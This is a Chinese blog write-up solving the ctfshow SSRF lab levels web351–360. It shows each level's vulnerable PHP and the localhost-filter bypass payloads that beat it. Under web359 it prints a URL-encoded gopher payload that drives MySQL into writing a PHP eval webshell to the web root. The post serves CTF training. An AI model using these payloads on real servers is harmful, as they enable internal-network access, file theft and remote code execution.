CTFshow Web入门-SSRF

ctfshow web入门ssrf 其实刚接触时做过一遍,现在再做一遍巩固一下知识点 文章目录web351web352web353web354web355web356web357 web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1. 阅读详情

本文章总结了一些ssrf绕过思路

web-351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

url=127.0.0.1/flag.php 通过url访问本地的flag.php文件

url=file:///var/www/html/flag.php 通过路径访问flag文件

web-352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

限制了只能是http-https协议

所以url=http/https://127.0.0.1/flag.php

web-353

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

代码中过滤的本地以及127等信息,我们无法直接使用localhost和127.0.0.1 并且限制了只能是http/s协议

  • 思路1

    在linux系统中0表示自身地址 windows=0.0.0.0 payload:

    url=http://0/flag.php

  • 思路2

    域名解析的A记录sudo.cc解析ip为127.0.0.1

    申请一个域名,并将域名解析ip地址设置为127.0.0.1就行,不用非要sudo.cc

    payload:

    url=http://sudo.cc/flag.php

  • 思路3

    使用十进制十六进制 payload

    url=http://转换后的十进制/flag.php

  • 如果限制长度 思路4

    使用127.1也可以

web-354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){ //对内容进行过滤
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

禁用了localhost 1 0看来十进制不好使了,使用0也不可能了

使用思路2 sudo.cc进行绕过

payload:url=http://sudo.cc/flag.php

web-355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url); //获取输入的协议名
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host']; //获取输入的主机名
if((strlen($host)<=5)){  //对主机名长度进行判断
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

本关照前几关做了一些改变,要求输入的http的主机名处长度小于等于5,很明显十进制和A域名思路无法使用

所谓主机名就是 http://127.0.0.1/flag.php 中127.0.0.1的内容

所以使用思路1 linux 0=本地ip

payload:url=http://0/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){ //长度限制为3
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

url=http://0/flag.php

web357

需要用到dns rebinding,我没有服务器所以gg

Web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

url=http://ctf.@127.0.0.1/flag.php?show

有懂得佬可以评论区解释一手

Web359

无密码mysql (基本不可能)

使用工具生成payload,然后_后面部分进行url编码即可

抓包,发现post第二个参数是网址,在那里输入以下内容

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

使用gopher 工具:gopherus

Web360

同上使用工具生成payload

然后将后面部分进行url编码即可,但是我这边显示webshell报错了不知道什么问题 -.-

CTFSHOW-web入门-SSRF(web351-web360) 有关SSRF的更多讲解可以看我的另一篇文章。 阅读详情

相关推荐

SiC MOSFET驱动设计实战:从特性解析到电路优化

本文深入解析SiC MOSFET的核心特性及其驱动电路设计要点,涵盖高温稳定性、快速开关能力等关键特性,并提供驱动电压配置、电流能力计算、布局优化等实用方案。特别针对第三代电力电子半导体SiC MOSFET的驱动要求,分享STGAP1AS等典型驱动方案的应用技巧,助力工程师解决高频应用中的EMI和热管理挑战。

weixin_29230865的博客 365

ctf_show笔记篇(web入门---SSRF)

ssrf产生原理: 服务端存在网络请求功能/函数,例如:file_get_contens()这一类类似于curl 这种函数传入的参数用户是可控的 没有对用户输入做过滤导致的ssrf漏洞 ssrf利用: 用于探测内网服务以及端口 探针存活主机以及开放服务 探针是否存在redis服务(未授权访问, 相当于是可以访问到redis服务并且开发人员不严谨没有设置密码, 因为默认是没有密码的, 或者说开发者设置了密码但是是弱口令), 利用定时任务反弹shell

whale_waves的博客 1707

基于Unidbg的小红书加密协议动态分析与算法还原实战

在移动应用安全领域,加密协议与签名机制是保障数据传输安全、实现客户端身份验证的核心技术。其原理通常涉及哈希算法、对称/非对称加密以及自定义的混淆逻辑,旨在防止请求被篡改或重放。理解这些协议对于安全研究、风控策略制定及合规的数据交互分析具有重要价值。在实际的工程实践中,面对高度混淆和加固的Native代码(SO库),传统的静态分析往往难以深入。此时,沙盒模拟执行技术提供了一种动态、可控的分析方案。通过搭建一个虚拟的移动应用运行环境,研究人员可以在无需真机、规避反调试机制的情况下,完整地追踪和观察加密算法的执行

weixin_29315091的博客 324

ctfshow-web入门-SSRF(web351-web360)

通过 filter_var() 验证得到的 IP 地址是否为有效的公共 IP 地址,并且不是私有或保留地址。使用 gethostbyname() 将 URL 中的域名解析为对应的 IP 地址。使用 file_get_contents() 获取并输出该 URL 对应的内容。限制只能使用 http 或者 https 协议,并且禁止本地地址访问。匹配以 http://ctf. 开头,并且以 show 结尾。看到 curl_exec 函数,很典型的 SSRF。这次检测的是 127.0. 开头的。

Welcome To My6n Blog 2940

OpenBCI脑电数据处理实战:用MNE库从Raw对象到可视化分析全流程

本文提供了使用MNE-Python库处理OpenBCI脑电数据的完整实战指南。从通过BrainFlow库获取原始数据流、创建核心的Raw对象,到进行工频滤波、带通滤波等关键预处理步骤,最后实现时域信号、功率谱密度及地形图等多种专业可视化分析,手把手教你完成脑机接口数据处理的全流程。

gin88的博客 368

激光工程师必备:5个ABCDRez在谐振腔设计中的实战技巧(含热效应处理)

本文为激光工程师分享了5个利用ABCDRez矩阵光学工具进行谐振腔设计的实战技巧,重点涵盖热效应处理、模式匹配优化与稳定性分析。通过建立参数化模型、动态热透镜补偿、模式匹配仿真及灵敏度分析,帮助工程师实现从“黑箱”到“白盒”的腔体设计与调试,提升激光器设计的鲁棒性与效率。

k6l7m8n9的博客 706

ctfshow之web入门(SSRF)

文件从外部无法访问。这就引出了ssrf。

TohsakaRinRinRi的博客 946

5G MBS(组播广播服务)深度解析:从标准架构到商用实践

5G MBS(组播广播服务)深度解析:从标准架构到商用实践

大家好,我是码农老gou,一名专注于编程技术的程序员。在这个博客中,我将与大家分享我在工作和学习中的经验、见解以及一些实用的技术干货。 1080

ctfshow--web入门--SSRF

gethostbyname()这里对url对应的ip地址进行了检测,因此不能使用短网址,域名解析等手段了,只能采用重定向的方式,构建一个重定向的网页,跳转至http://127.0.0.1/flag.php即可,然后将文件放入服务器中,去访问它即可。这里一样的方法,攻击redis数据库,默认生成的文件名为shell.php,将payload中带有百分号的部分进行二次编码然后进行传参即可。源码中要求http://ctf.开头,以show结尾才可以进行读取url。最后在check.php页面进行传参。

weixin_74985952的博客 487

ROS2实战:打造智能巡检机器人的关键技术与实现

本文详细介绍了基于ROS2和Navigation2构建智能巡检机器人的完整实战流程。通过设计主从协作的事件驱动架构,实现了机器人在已知地图中的自动导航、定点语音播报和环境图像采集功能。文章涵盖了从环境搭建、仿真配置到核心控制节点、语音服务与图像记录模块的代码实现,为开发者打造实用的自动巡检机器人提供了清晰的技术指南。

weixin_29031057的博客 222

LwIP TCP Client 解决长数据发送的困扰

问题描述 LWIP 的 TCP Client 发送数据可以调用 tcp_write() 函数,将数据储存在缓冲区里面,然后等待超时自动发送或者调用tcp_output()函数进行发送。 然而 tcp_write() 函数 需要发送的数据过长时,将无法发送,并返回 ERR_MEM。 tcp_write()函数解析 tcp_write()的函数代码很多,就不细看代码了, 先看tcp_write()的完整函数: err_t tcp_write(struct tcp_pcb *pcb, const void

tiantangmoke的博客 1万+

ctfshow——web入门-SSRF

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。如果成功,则返回已过滤的数据,如果失败,则返回 false。

2301_80481202的博客 1225

【数据集】ERA5(欧洲中期天气预报中心)再分析数据介绍及下载

简介EAR5数据集及下载步骤

WW、forever的博客 1万+

ctfshow-Web入门(SSRF)351-360全通关详解

本文系统介绍了SSRF(服务器端请求伪造)攻击的多种绕过技术。首先解释了SSRF的概念及其危害,随后通过9个具体案例展示了不同过滤条件下的绕过方法:包括直接回环地址访问、进制转换、IP特殊写法、域名解析、短域名、重定向、URL解析特性、gopherus工具利用MySQL协议攻击以及Redis攻击等。每个案例都提供了具体的payload构造方法,如使用0x7F替代127、127.1简写、外部域名重定向、gopher://协议等。特别强调了在严格过滤条件下如何利用工具和协议特性实现内网探测和服务攻击,为安全测试

2301_80027701的博客 1038

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

【CTFSHOW】web入门SSRF

CTFSHOW web入门SSRF 发现学习渗透和ctf对xss,ssrf,csrf,ssti都有挺高要求的,一直没怎么系统刷过题。今天学习学习,补补之前落下的债(* ̄3 ̄)╭ web351 扫描网站发现存在flag.php文件,通过分析和测试发现需要服务器本地访问,故使用传入127.0.0.1/flag.php web352 payload: web353 过滤代码: if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_

7ruth0hn的博客 1418

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

ctfshow web入门 SSRF(超详解)

前言 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) https://ctf-wiki.org/web/ssrf/ https://www.freebuf.com/articles/web/260806.html web351 <?php error_reporting(0)

qq_50589021的博客 9320

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

ctfshow——web入门 SSRF

通过hackbar post提交获得flag。

m0_74093152的博客 868

ctfshow web入门-ssrf

目录 开头: web 351 web 352 web 353 web 354 web 355 web 356 web 357 Web 358 Web 359 Web 360 开头: 简单了解一下SSRF。 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统

akxnxbshai的博客 901

ctfshow-web入门 ssrf篇

ctfshowSSRF简介危害web351web352parse_urlweb353更改IP地址写法web354web355web356web357web358web359(打无密码的mysql)web360(打redis) SSRF 简介 服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 危害 SSRF可以对外网、

volcano的博客 2795

[ctfshow-web入门]SSRF

上来就是代码审计ssrf就是利用我们可以访问到的服务器,对其服务器下面的内网进行探测,也可以理解为服务器拥有外网ip,而我们要访问的电脑则是在公网ip进行nat后分配的内网ip构造payload(POST方式)......

nareku的博客 1057

ctfshow web入门ssrf部分

因此,无论是http://www.baidu.com@10.10.10.10还是http://10.10.10.10,浏览器都会将10.10.10.10视为主机名,而不会将其与www.baidu.com或http://www.baidu.com这部分进行关联。bp里面payload的//127.0.0.1:6379/_后面的东西再url编码一次然后放包,等待响应要点时间,然后网页会重新加载,没事继续蚁剑连接木马shell.php,拿下。payload中3306/_后面的内容要再url编码一次,然后bp传。

hcja666的博客 2072

ctfshow web入门 SSRF

web351

Sentiment的博客 1029

CTFSHOW-web入门-SSRF

SSRF 简介 服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 危害 SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。 内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常

whisper921的博客 1239

CTFshow-WEB入门-SSRF

前言 开始学习SSRF,学习文章: SSRF 学习记录(需要fq) 比较简单的题目就直接放payload了,不做解释。 web351 url=http://127.0.0.1/flag.php web352 scheme必须是http或者https,但是不能有127.0.0.1或者localhost。这个绕过技巧很多了,列具一些常用的吧: 进制绕过 url=http://0x7F000001/flag.php 0.0.0.0绕过 url=http://0.0.0.0/flag.php 短标签绕过,但是这

feng的博客 2097

ctfshow web入门 ssrf web351~web360

ssrf之127.0.0.1绕过、域名指向、302跳转、DNS重定向、gopher打mysql、redis……

qq_62989306的博客 1521
上一篇: CTFshow Web入门-信息收集
下一篇: CTFShow-命令执行(29-54)
阿斯顿法国红酒快
博客等级 码龄5年 154粉丝 23原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值